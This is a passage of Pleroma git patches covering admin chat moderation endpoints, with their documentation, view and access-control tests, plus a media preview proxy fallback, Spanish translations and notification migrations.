chat message does not exist", %{conn: conn} do - conn = delete(conn, "/api/pleroma/admin/chats/test/messages/test") + "@#{admin.nickname} deleted chat message ##{cm_ref.id}" - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) end end -- cgit v1.2.3 From c361df11b4e31bc6b369a4feebdbaa82987c2eec Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 20:56:42 -0500 Subject: Docs: AdminAPI chat moderation --- docs/API/admin_api.md | 111 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index c0ea074f0..7bdbd17aa 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -1334,3 +1334,114 @@ Loads json generated from `config/descriptions.exs`. { } ``` + +## GET /api/pleroma/admin/users/:nickname/chats + +### List a user's chats + +- Params: None + +- Response: + +```json +[ + { + "account": { + "id": "someflakeid", + "username": "somenick", + ... + }, + "id" : "1", + "unread" : 2, + "last_message" : {...}, // The last message in that chat + "updated_at": "2020-04-21T15:11:46.000Z" + } +] +``` + +## GET /api/pleroma/admin/chats/:chat_id + +### View a single chat + +- Params: None + +- Response: + +```json +{ + "account": { + "id": "someflakeid", + "username": "somenick", + ... + }, + "id" : "1", + "unread" : 2, + "last_message" : {...}, // The last message in that chat + "updated_at": "2020-04-21T15:11:46.000Z" +} +``` + +## GET /api/pleroma/admin/chats/:chat_id/messages + +### List the messages in a chat + +- Params: None + +- Response: + +```json +[ + { + "account_id": "someflakeid", + "chat_id": "1", + "content": "Check this out :firefox:", + "created_at": "2020-04-21T15:11:46.000Z", + "emojis": [ + { + "shortcode": "firefox", + "static_url": "https://dontbulling.me/emoji/Firefox.gif", + "url": "https://dontbulling.me/emoji/Firefox.gif", + "visible_in_picker": false + } + ], + "id": "13", + "unread": true + }, + { + "account_id": "someflakeid", + "chat_id": "1", + "content": "Whats' up?", + "created_at": "2020-04-21T15:06:45.000Z", + "emojis": [], + "id": "12", + "unread": false + } +] +``` + +## DELETE /api/pleroma/admin/chats/:chat_id/messages/:message_id + +### Delete a single message + +- Params: None + +- Response: + +```json +{ + "account_id": "someflakeid", + "chat_id": "1", + "content": "Check this out :firefox:", + "created_at": "2020-04-21T15:11:46.000Z", + "emojis": [ + { + "shortcode": "firefox", + "static_url": "https://dontbulling.me/emoji/Firefox.gif", + "url": "https://dontbulling.me/emoji/Firefox.gif", + "visible_in_picker": false + } + ], + "id": "13", + "unread": false +} +``` -- cgit v1.2.3 From 67726453f85eb5bb51bf82e7decf23a4f1d184af Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 21:12:21 -0500 Subject: Credo fix --- test/web/admin_api/controllers/chat_controller_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 9393dd49b..bca9d440d 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -10,8 +10,8 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do alias Pleroma.Chat alias Pleroma.Chat.MessageReference alias Pleroma.Config - alias Pleroma.Object alias Pleroma.ModerationLog + alias Pleroma.Object alias Pleroma.Repo alias Pleroma.Web.CommonAPI -- cgit v1.2.3 From e229536e5cca65d811f85d25c86bf3c92b3d8c45 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Thu, 10 Sep 2020 01:44:32 -0500 Subject: Chat Moderation: use explicit `sender` and `recipient` fields --- docs/API/admin_api.md | 14 ++++++++-- .../admin_api/controllers/admin_api_controller.ex | 5 +--- .../web/admin_api/controllers/chat_controller.ex | 4 +-- lib/pleroma/web/admin_api/views/chat_view.ex | 30 ++++++++++++++++++++++ .../admin_api/controllers/chat_controller_test.exs | 3 +++ 5 files changed, 48 insertions(+), 8 deletions(-) create mode 100644 lib/pleroma/web/admin_api/views/chat_view.ex diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index 7bdbd17aa..eadb455ee 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -1346,7 +1346,12 @@ Loads json generated from `config/descriptions.exs`. ```json [ { - "account": { + "sender": { + "id": "someflakeid", + "username": "somenick", + ... + }, + "receiver": { "id": "someflakeid", "username": "somenick", ... @@ -1369,7 +1374,12 @@ Loads json generated from `config/descriptions.exs`. ```json { - "account": { + "sender": { + "id": "someflakeid", + "username": "somenick", + ... + }, + "receiver": { "id": "someflakeid", "username": "somenick", ... diff --git a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex index fccdbabb4..d5713c3dd 100644 --- a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex @@ -21,11 +21,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Web.AdminAPI.ModerationLogView alias Pleroma.Web.AdminAPI.Search alias Pleroma.Web.Endpoint - alias Pleroma.Web.PleromaAPI alias Pleroma.Web.Router - require Logger - @users_page_size 50 plug( @@ -270,7 +267,7 @@ def list_user_chats(%{assigns: %{user: admin}} = conn, %{"nickname" => nickname} |> Pleroma.Repo.all() conn - |> put_view(PleromaAPI.ChatView) + |> put_view(AdminAPI.ChatView) |> render("index.json", chats: chats) else _ -> {:error, :not_found} diff --git a/lib/pleroma/web/admin_api/controllers/chat_controller.ex b/lib/pleroma/web/admin_api/controllers/chat_controller.ex index 61d45b970..967600d69 100644 --- a/lib/pleroma/web/admin_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/chat_controller.ex @@ -11,9 +11,9 @@ defmodule Pleroma.Web.AdminAPI.ChatController do alias Pleroma.ModerationLog alias Pleroma.Pagination alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.AdminAPI alias Pleroma.Web.CommonAPI alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView - alias Pleroma.Web.PleromaAPI.ChatView require Logger @@ -78,7 +78,7 @@ def messages(conn, %{id: id} = params) do def show(conn, %{id: id}) do with %Chat{} = chat <- Chat.get_by_id(id) do conn - |> put_view(ChatView) + |> put_view(AdminAPI.ChatView) |> render("show.json", chat: chat) end end diff --git a/lib/pleroma/web/admin_api/views/chat_view.ex b/lib/pleroma/web/admin_api/views/chat_view.ex new file mode 100644 index 000000000..847df1423 --- /dev/null +++ b/lib/pleroma/web/admin_api/views/chat_view.ex @@ -0,0 +1,30 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ChatView do + use Pleroma.Web, :view + + alias Pleroma.Chat + alias Pleroma.User + alias Pleroma.Web.MastodonAPI + alias Pleroma.Web.PleromaAPI + + def render("index.json", %{chats: chats} = opts) do + render_many(chats, __MODULE__, "show.json", Map.delete(opts, :chats)) + end + + def render("show.json", %{chat: %Chat{user_id: user_id}} = opts) do + user = User.get_by_id(user_id) + sender = MastodonAPI.AccountView.render("show.json", user: user, skip_visibility_check: true) + + serialized_chat = PleromaAPI.ChatView.render("show.json", opts) + + serialized_chat + |> Map.put(:sender, sender) + |> Map.put(:receiver, serialized_chat[:account]) + |> Map.delete(:account) + end + + def render(view, opts), do: PleromaAPI.ChatView.render(view, opts) +end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index bca9d440d..840f18aa2 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -123,6 +123,9 @@ test "it returns a chat", %{conn: conn} do |> json_response_and_validate_schema(200) assert result["id"] == to_string(chat.id) + assert %{} = result["sender"] + assert %{} = result["receiver"] + refute result["account"] end end end -- cgit v1.2.3 From dfb831ca39db3098d6d585448a6ff8e938e51e8c Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Fri, 11 Sep 2020 14:00:34 -0500 Subject: Chat moderation: add tests for unauthorized access --- docs/API/admin_api.md | 2 +- .../controllers/admin_api_controller_test.exs | 29 ++++++++ .../admin_api/controllers/chat_controller_test.exs | 80 +++++++++++++++++++++- 3 files changed, 109 insertions(+), 2 deletions(-) diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index eadb455ee..bc96abbf0 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -1395,7 +1395,7 @@ Loads json generated from `config/descriptions.exs`. ### List the messages in a chat -- Params: None +- Params: `max_id`, `min_id` - Response: diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index cf5637246..dbeeb7f3d 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1528,6 +1528,35 @@ test "renders user's statuses", %{conn: conn, user: user} do end end + describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do + setup do + user = insert(:user) + insert(:chat, user: user) + %{conn: conn} = oauth_access(["read:chats"]) + %{conn: conn, user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do + setup do + user = insert(:user) + insert(:chat, user: user) + %{conn: build_conn(), user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + describe "GET /api/pleroma/admin/moderation_log" do setup do moderator = insert(:user, is_moderator: true) diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 840f18aa2..ccca3521a 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -15,7 +15,7 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do alias Pleroma.Repo alias Pleroma.Web.CommonAPI - setup do + defp admin_setup do admin = insert(:user, is_admin: true) token = insert(:oauth_admin_token, user: admin) @@ -28,6 +28,8 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do end describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do + setup do: admin_setup() + test "it deletes a message from the chat", %{conn: conn, admin: admin} do user = insert(:user) recipient = insert(:user) @@ -59,6 +61,8 @@ test "it deletes a message from the chat", %{conn: conn, admin: admin} do end describe "GET /api/pleroma/admin/chats/:id/messages" do + setup do: admin_setup() + test "it paginates", %{conn: conn} do user = insert(:user) recipient = insert(:user) @@ -111,6 +115,8 @@ test "it returns the messages for a given chat", %{conn: conn} do end describe "GET /api/pleroma/admin/chats/:id" do + setup do: admin_setup() + test "it returns a chat", %{conn: conn} do user = insert(:user) other_user = insert(:user) @@ -128,4 +134,76 @@ test "it returns a chat", %{conn: conn} do refute result["account"] end end + + describe "unauthorized chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: conn} = oauth_access(["read:chats", "write:chats"]) + %{conn: conn, chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end + + describe "unauthenticated chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: build_conn(), chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end + end -- cgit v1.2.3 From bc86d0a906e58becb94c5a73552f90abbe494c28 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Fri, 11 Sep 2020 14:29:56 -0500 Subject: Chat moderation: fix formatting --- test/web/admin_api/controllers/chat_controller_test.exs | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index ccca3521a..e81484ce6 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -149,7 +149,11 @@ test "it returns a chat", %{conn: conn} do %{conn: conn, chat: chat, cm_ref: cm_ref} end - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do conn |> put_req_header("content-type", "application/json") |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") @@ -184,7 +188,11 @@ test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do %{conn: build_conn(), chat: chat, cm_ref: cm_ref} end - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do conn |> put_req_header("content-type", "application/json") |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") @@ -205,5 +213,4 @@ test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do |> json_response(403) end end - end -- cgit v1.2.3 From 40c847dc2a33bcd4bb6776d500cb73d6fa5ff052 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 11 Sep 2020 17:42:39 -0500 Subject: Spelling Reported by: trevoke --- docs/configuration/cheatsheet.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 7cf1d1ce7..0c5d17ce3 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -18,7 +18,7 @@ To add configuration to your config file, you can copy it from the base config. * `notify_email`: Email used for notifications. * `description`: The instance’s description, can be seen in nodeinfo and ``/api/v1/instance``. * `limit`: Posts character limit (CW/Subject included in the counter). -* `discription_limit`: The character limit for image descriptions. +* `description_limit`: The character limit for image descriptions. * `chat_limit`: Character limit of the instance chat messages. * `remote_limit`: Hard character limit beyond which remote posts will be dropped. * `upload_limit`: File size limit of uploads (except for avatar, background, banner). -- cgit v1.2.3 From 6877bad44cccff807cf8d1426c26ab80a6ea0244 Mon Sep 17 00:00:00 2001 From: tarteka Date: Fri, 11 Sep 2020 18:24:59 +0000 Subject: Translated using Weblate (Spanish) Currently translated at 20.7% (22 of 106 strings) Translation: Pleroma/Pleroma backend Translate-URL: https://translate.pleroma.social/projects/pleroma/pleroma/es/ --- priv/gettext/es/LC_MESSAGES/errors.po | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/priv/gettext/es/LC_MESSAGES/errors.po b/priv/gettext/es/LC_MESSAGES/errors.po index ba75936a9..0a6fceaad 100644 --- a/priv/gettext/es/LC_MESSAGES/errors.po +++ b/priv/gettext/es/LC_MESSAGES/errors.po @@ -3,7 +3,7 @@ msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-09-09 09:49+0000\n" -"PO-Revision-Date: 2020-09-09 10:52+0000\n" +"PO-Revision-Date: 2020-09-11 21:26+0000\n" "Last-Translator: tarteka \n" "Language-Team: Spanish \n" @@ -94,52 +94,52 @@ msgid "must be less than %{number}" msgstr "" msgid "must be greater than %{number}" -msgstr "" +msgstr "debe ser mayor que %{number}" msgid "must be less than or equal to %{number}" -msgstr "" +msgstr "debe ser menor o igual que %{number}" msgid "must be greater than or equal to %{number}" -msgstr "" +msgstr "deber ser mayor o igual que %{number}" msgid "must be equal to %{number}" -msgstr "" +msgstr "deber ser igual a %{number}" #: lib/pleroma/web/common_api/common_api.ex:505 #, elixir-format msgid "Account not found" -msgstr "" +msgstr "Cuenta no encontrada" #: lib/pleroma/web/common_api/common_api.ex:339 #, elixir-format msgid "Already voted" -msgstr "" +msgstr "Ya has votado" #: lib/pleroma/web/oauth/oauth_controller.ex:359 #, elixir-format msgid "Bad request" -msgstr "" +msgstr "Solicitud incorrecta" #: lib/pleroma/web/activity_pub/activity_pub_controller.ex:426 #, elixir-format msgid "Can't delete object" -msgstr "" +msgstr "No se puede eliminar el objeto" #: lib/pleroma/web/controller_helper.ex:105 #: lib/pleroma/web/controller_helper.ex:111 #, elixir-format msgid "Can't display this activity" -msgstr "" +msgstr "No se puede mostrar esta actividad" #: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:285 #, elixir-format msgid "Can't find user" -msgstr "" +msgstr "No se puede encontrar al usuario" #: lib/pleroma/web/pleroma_api/controllers/account_controller.ex:61 #, elixir-format msgid "Can't get favorites" -msgstr "" +msgstr "No se puede obtener los favoritos" #: lib/pleroma/web/activity_pub/activity_pub_controller.ex:438 #, elixir-format @@ -149,7 +149,7 @@ msgstr "" #: lib/pleroma/web/common_api/utils.ex:563 #, elixir-format msgid "Cannot post an empty status without attachments" -msgstr "" +msgstr "No se puede publicar un estado vacío y sin archivos adjuntos" #: lib/pleroma/web/common_api/utils.ex:511 #, elixir-format -- cgit v1.2.3 From c0b36621f1149734e97f268e267202cc53700abb Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 11 Sep 2020 16:59:45 -0500 Subject: Ensure we only apply NSFW Simple policy on parsable objects --- lib/pleroma/web/activity_pub/mrf/simple_policy.ex | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/web/activity_pub/mrf/simple_policy.ex b/lib/pleroma/web/activity_pub/mrf/simple_policy.ex index bb193475a..161177727 100644 --- a/lib/pleroma/web/activity_pub/mrf/simple_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/simple_policy.ex @@ -66,7 +66,8 @@ defp check_media_nsfw( "type" => "Create", "object" => child_object } = object - ) do + ) + when is_map(child_object) do media_nsfw = Config.get([:mrf_simple, :media_nsfw]) |> MRF.subdomains_regex() -- cgit v1.2.3 From 32831f371ff426ac0c6f5d6c1381313f5f92af42 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sat, 12 Sep 2020 10:33:42 +0300 Subject: [#2497] Media preview proxy: redirecting to media proxy url in case of preview error or unsupported content type. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index ff7fd2409..08d62a51a 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -91,8 +91,8 @@ defp handle_preview("video/" <> _ = _content_type, conn, media_proxy_url) do handle_video_preview(conn, media_proxy_url) end - defp handle_preview(content_type, conn, _media_proxy_url) do - send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") + defp handle_preview(_unsupported_content_type, conn, media_proxy_url) do + fallback_on_preview_error(conn, media_proxy_url) end defp handle_png_preview(conn, media_proxy_url) do @@ -114,7 +114,7 @@ defp handle_png_preview(conn, media_proxy_url) do |> send_resp(200, thumbnail_binary) else _ -> - send_resp(conn, :failed_dependency, "Can't handle preview.") + fallback_on_preview_error(conn, media_proxy_url) end end @@ -132,7 +132,7 @@ defp handle_jpeg_preview(conn, media_proxy_url) do |> send_resp(200, thumbnail_binary) else _ -> - send_resp(conn, :failed_dependency, "Can't handle preview.") + fallback_on_preview_error(conn, media_proxy_url) end end @@ -144,10 +144,14 @@ defp handle_video_preview(conn, media_proxy_url) do |> send_resp(200, thumbnail_binary) else _ -> - send_resp(conn, :failed_dependency, "Can't handle preview.") + fallback_on_preview_error(conn, media_proxy_url) end end + defp fallback_on_preview_error(conn, media_proxy_url) do + redirect(conn, external: media_proxy_url) + end + defp put_preview_response_headers( conn, [content_type, filename] = _content_info \\ ["image/jpeg", "preview.jpg"] -- cgit v1.2.3 From cd234a5321b9d33146b90be95d84fa67aa4f7707 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sat, 12 Sep 2020 11:20:41 +0300 Subject: [#2497] Media preview proxy: preview bypass for small images (basing on Content-Length and Content-Type). --- .../web/media_proxy/media_proxy_controller.ex | 25 ++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 08d62a51a..78df7763e 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -11,6 +11,8 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do alias Pleroma.Web.MediaProxy alias Plug.Conn + @min_content_length_for_preview 100 * 1024 + def remote(conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.enabled?()}, {:ok, url} <- MediaProxy.decode_url(sig64, url64), @@ -54,8 +56,12 @@ defp handle_preview(conn, url) do with {:ok, %{status: status} = head_response} when status in 200..299 <- Pleroma.HTTP.request("head", media_proxy_url, [], [], pool: :media) do content_type = Tesla.get_header(head_response, "content-type") - handle_preview(content_type, conn, media_proxy_url) + content_length = Tesla.get_header(head_response, "content-length") + content_length = content_length && String.to_integer(content_length) + + handle_preview(content_type, content_length, conn, media_proxy_url) else + # If HEAD failed, redirecting to media proxy URI doesn't make much sense; returning an error {_, %{status: status}} -> send_resp(conn, :failed_dependency, "Can't fetch HTTP headers (HTTP #{status}).") @@ -69,29 +75,36 @@ defp handle_preview(conn, url) do defp handle_preview( "image/" <> _ = _content_type, + _content_length, %{params: %{"output_format" => "jpeg"}} = conn, media_proxy_url ) do handle_jpeg_preview(conn, media_proxy_url) end - defp handle_preview("image/gif" = _content_type, conn, media_proxy_url) do + defp handle_preview("image/gif" = _content_type, _content_length, conn, media_proxy_url) do + redirect(conn, external: media_proxy_url) + end + + defp handle_preview("image/" <> _ = _content_type, content_length, conn, media_proxy_url) + when is_integer(content_length) and content_length > 0 and + content_length < @min_content_length_for_preview do redirect(conn, external: media_proxy_url) end - defp handle_preview("image/png" <> _ = _content_type, conn, media_proxy_url) do + defp handle_preview("image/png" <> _ = _content_type, _content_length, conn, media_proxy_url) do handle_png_preview(conn, media_proxy_url) end - defp handle_preview("image/" <> _ = _content_type, conn, media_proxy_url) do + defp handle_preview("image/" <> _ = _content_type, _content_length, conn, media_proxy_url) do handle_jpeg_preview(conn, media_proxy_url) end - defp handle_preview("video/" <> _ = _content_type, conn, media_proxy_url) do + defp handle_preview("video/" <> _ = _content_type, _content_length, conn, media_proxy_url) do handle_video_preview(conn, media_proxy_url) end - defp handle_preview(_unsupported_content_type, conn, media_proxy_url) do + defp handle_preview(_unsupported_content_type, _content_length, conn, media_proxy_url) do fallback_on_preview_error(conn, media_proxy_url) end -- cgit v1.2.3 From 65f4e37ee1f47ff2f160eb56facef4c783a6828c Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sun, 13 Sep 2020 10:04:50 +0300 Subject: remove old workers in oban migrations --- .../migrations/20200825061316_move_activity_expirations_to_oban.exs | 2 ++ .../repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs | 2 ++ 2 files changed, 4 insertions(+) diff --git a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs index cdc00d20b..a703af83f 100644 --- a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs +++ b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs @@ -4,6 +4,8 @@ defmodule Pleroma.Repo.Migrations.MoveActivityExpirationsToOban do import Ecto.Query, only: [from: 2] def change do + Pleroma.Config.Oban.warn() + Supervisor.start_link([{Oban, Pleroma.Config.get(Oban)}], strategy: :one_for_one, name: Pleroma.Supervisor diff --git a/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs b/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs index 832bd02a7..9e49ddacb 100644 --- a/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs +++ b/priv/repo/migrations/20200907092050_move_tokens_expiration_into_oban.exs @@ -4,6 +4,8 @@ defmodule Pleroma.Repo.Migrations.MoveTokensExpirationIntoOban do import Ecto.Query, only: [from: 2] def change do + Pleroma.Config.Oban.warn() + Supervisor.start_link([{Oban, Pleroma.Config.get(Oban)}], strategy: :one_for_one, name: Pleroma.Supervisor -- cgit v1.2.3 From 489a107cf449a10c7f6ac9a4b8d4a7f9f7314c5c Mon Sep 17 00:00:00 2001 From: Maksim Date: Sun, 13 Sep 2020 11:54:15 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- lib/pleroma/emoji/pack.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 930bbb422..0b3f8f00b 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -84,7 +84,7 @@ defp unpack_zip_emojies(zip_files) do end) end - @spec add_file(String.t(), String.t(), Path.t(), Plug.Upload.t()) :: + @spec add_file(t(), String.t(), Path.t(), Plug.Upload.t()) :: {:ok, t()} | {:error, File.posix() | atom()} def add_file(%Pack{} = pack, _, _, %Plug.Upload{content_type: "application/zip"} = file) do -- cgit v1.2.3 From 3e53ab4e98e6294f593f2185998f555ccd6fee73 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Mon, 14 Sep 2020 14:08:12 +0300 Subject: added notification constraints --- .../migration_helper/notification_backfill.ex | 15 +++++------ lib/pleroma/repo.ex | 9 +++++-- ...105638_delete_notification_without_activity.exs | 30 ++++++++++++++++++++++ ...20200914105800_add_notification_constraints.exs | 23 +++++++++++++++++ 4 files changed, 67 insertions(+), 10 deletions(-) create mode 100644 priv/repo/migrations/20200914105638_delete_notification_without_activity.exs create mode 100644 priv/repo/migrations/20200914105800_add_notification_constraints.exs diff --git a/lib/pleroma/migration_helper/notification_backfill.ex b/lib/pleroma/migration_helper/notification_backfill.ex index d260e62ca..24f4733fe 100644 --- a/lib/pleroma/migration_helper/notification_backfill.ex +++ b/lib/pleroma/migration_helper/notification_backfill.ex @@ -19,13 +19,13 @@ def fill_in_notification_types do query |> Repo.chunk_stream(100) |> Enum.each(fn notification -> - type = - notification.activity - |> type_from_activity() + if notification.activity do + type = type_from_activity(notification.activity) - notification - |> Ecto.Changeset.change(%{type: type}) - |> Repo.update() + notification + |> Ecto.Changeset.change(%{type: type}) + |> Repo.update() + end end) end @@ -72,8 +72,7 @@ defp type_from_activity(%{data: %{"type" => type}} = activity) do "pleroma:emoji_reaction" "Create" -> - activity - |> type_from_activity_object() + type_from_activity_object(activity) t -> raise "No notification type for activity type #{t}" diff --git a/lib/pleroma/repo.ex b/lib/pleroma/repo.ex index f317e4d58..a75610879 100644 --- a/lib/pleroma/repo.ex +++ b/lib/pleroma/repo.ex @@ -49,7 +49,7 @@ def get_assoc(resource, association) do end end - def chunk_stream(query, chunk_size) do + def chunk_stream(query, chunk_size, returns_as \\ :one) do # We don't actually need start and end funcitons of resource streaming, # but it seems to be the only way to not fetch records one-by-one and # have individual records be the elements of the stream, instead of @@ -69,7 +69,12 @@ def chunk_stream(query, chunk_size) do records -> last_id = List.last(records).id - {records, last_id} + + if returns_as == :one do + {records, last_id} + else + {[records], last_id} + end end end, fn _ -> :ok end diff --git a/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs b/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs new file mode 100644 index 000000000..f5b339101 --- /dev/null +++ b/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs @@ -0,0 +1,30 @@ +defmodule Pleroma.Repo.Migrations.DeleteNotificationWithoutActivity do + use Ecto.Migration + + import Ecto.Query + alias Pleroma.Repo + + def up do + from( + q in Pleroma.Notification, + left_join: c in assoc(q, 